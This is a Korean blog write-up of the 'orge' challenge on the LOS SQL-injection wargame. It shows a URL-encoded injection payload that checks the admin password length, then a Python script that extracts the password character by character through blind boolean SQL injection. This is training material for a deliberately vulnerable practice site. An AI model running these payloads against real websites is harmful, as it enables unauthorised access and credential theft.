Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 정보보안
- 화학물질
- 화학물질안전원
- 화학물질불법유통온라인감시단
- nurisec
- 프로젝트
- 12기
- 여행
- Service
- 국가정보원
- 대외활동
- 도구모음
- Los
- suninatas
- 기타정보
- 국정원
- UKPT level
- 웹 해킹 입문
- 연구모임
- 경기팀
- codeup
- 파이썬
- MITRE ATT&CK
- 국가기록원
- UKPT
- 불법유통근절
- 불법유통
- webhacking
- PHP
- HTML
Archives
- Today
- Total
agencies
LOS 문제풀이 : orge 본문
이번에는 or과 and만 주의해서 문제를 풀면 될 것 같습니다.
패스워드의 길이는 8정도로 예상하고 값을 입력합니다.
pw='||id='admin'%26%26length(pw)=8%23
%26은 &을 나타냅니다.
따라서 &&은 and 연산과 동일합니다.
||은 or과 동일합니다.
%23은 #으로 sql에서는 뒷 부분이 모두 주석처리되는 기능을 가지고 있습니다.
이제 패스워드의 길이를 구했으니, 값을 구할 차례입니다.
import requests as r
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27||id=%27admin%27%26%26"
i=8
flag = ""
#패스워드 검사
for j in range(1,i+1):
for k in range(ord('0'), ord('z')):
p = "ascii(substr(pw,{0},1))={1}%23".format(j,k)
res = r.get(url+p,cookies={"PHPSESSID":"vgjb9eaaankiq042bvju3up9ll"})
if "Hello admin" in res.text:
flag+=chr(k)
print("The password is :",flag)
break
예전에는 cookies가 없어도 진행이 되었었는데, 현재는 location href ../ 가 발생되므로, 쿠키값을 넣어주도록 합니다.
ascii(substr(pw,{0},1))={1}# 부분을 살펴보겠습니다.
ascii는 문자열을 아스키코드로 변환합니다.
substr은 비밀번호의 문자를 하나씩 가져오게 됩니다.
요약하면 실제 패스워드의 값을 가져오는데, 그중 1개의 값만 가져와서 아스키코드(숫자)로 표현됩니다.
위의 반복문에서 일치하는 숫자가 있을 경우 출력이 되는 것이지요!
'Ⅲ. 정보보안' 카테고리의 다른 글
LOS assassin 문제 풀이 (0) | 2024.03.10 |
---|---|
[프로젝트] LOS v0.2 (0) | 2024.03.10 |
[프로젝트] LOS v0.1 (0) | 2024.03.09 |
[프로젝트] 홈페이지 구축 (로그인 설정) v0.8 (0) | 2024.03.02 |
[프로젝트] 홈페이지 구축 (검색바 추가 및 XSS방어) v0.7 (0) | 2024.03.02 |